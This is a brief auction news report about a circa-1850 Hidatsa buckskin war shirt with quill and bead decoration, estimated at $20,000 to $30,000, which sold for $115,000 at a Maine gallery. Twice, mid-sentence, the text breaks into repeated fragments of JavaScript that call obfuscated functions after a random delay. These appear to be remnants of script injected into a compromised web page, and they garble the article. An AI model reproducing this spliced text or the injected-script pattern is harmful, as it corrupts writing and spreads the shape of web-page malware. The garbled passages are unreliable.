THOMASTON, MAINE — “I almost fell over when this came through the door at one of our free appraisals,” said auctioneer Kaja Veilleux of a Native American Northern Plains war shirt that was featured at the galleries’ spring auction this past weekend, May 31–June 1. The Hidatsa buckskin shirt with dyed quill andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and seed bead decoration attracted attention from collectors around the country.

Estimated at $20/30,000, the fringed shirt was circa 1850 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had descended in the family of Harold Putnam. Virtually every phone line at Thomaston Place Auction Galleries was occupied as the lot crossed the auction block, with bidding coming in spirited waves; it sold at $115,000.

The elaborate shirt was one of many items from the Putnam collection. A complete review will appear in a future issue.                                               

—DSS